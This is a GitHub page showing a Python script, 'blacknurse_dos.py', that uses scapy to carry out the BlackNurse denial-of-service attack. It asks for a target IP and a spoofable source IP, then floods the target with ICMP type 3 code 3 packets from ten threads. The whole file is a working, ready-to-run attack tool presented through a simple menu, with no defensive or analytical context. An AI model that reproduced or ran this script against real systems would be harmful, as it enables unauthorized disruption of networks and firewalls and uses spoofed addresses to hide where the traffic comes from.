-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathblacknurse_dos.py
57 lines (48 loc) · 1.67 KB
/
blacknurse_dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from scapy.all import *
import sys
import time
from threading import Thread,current_thread
def menu():
print '\n## Created by Freshnuts'
time.sleep(1)
print """
###############################################################################
_ _ _ _
| |__ | | __ _ ___| | ___ __ _ _ _ __ ___ ___ __| | ___ ___
| '_ \| |/ _` |/ __| |/ / '_ \| | | | '__/ __|/ _ \ / _` |/ _ \/ __|
| |_) | | (_| | (__| <| | | | |_| | | \__ \ __/ | (_| | (_) \__ \\
|_.__/|_|\__,_|\___|_|\_\_| |_|\__,_|_| |___/\___|___\__,_|\___/|___/
|_____|
Menu
----
1. blacknurse attack
2. quit
###############################################################################
"""
while 1:
menu()
userInput = raw_input('Enter #: ')
# blacknurse attack
if userInput == '1':
print '\nblacknurse Attack Initiated'
print '---------------------------'
target = raw_input('\nTarget IP: ')
source = raw_input('\nSource IP: ')
def blacknurse(i):
a = 0
while a < 10:
a = a + 1
ping = send(IP(dst=target,src=source)/ICMP(type=3,code=3)/('blacknurse'),inter=0.001,verbose=0)
print "Loop Count per Thread : %s" % a
print current_thread()
# Threading: sends 10 ICMP packets per 1 while loop, totals 100 by the end of 10 while loops
for i in range(10):
t = Thread(target=blacknurse, args=(i,))
t.start()
if True:
t.join()
elif userInput == "2":
print "Exiting"
sys.exit()
else:
sys.exit("Error")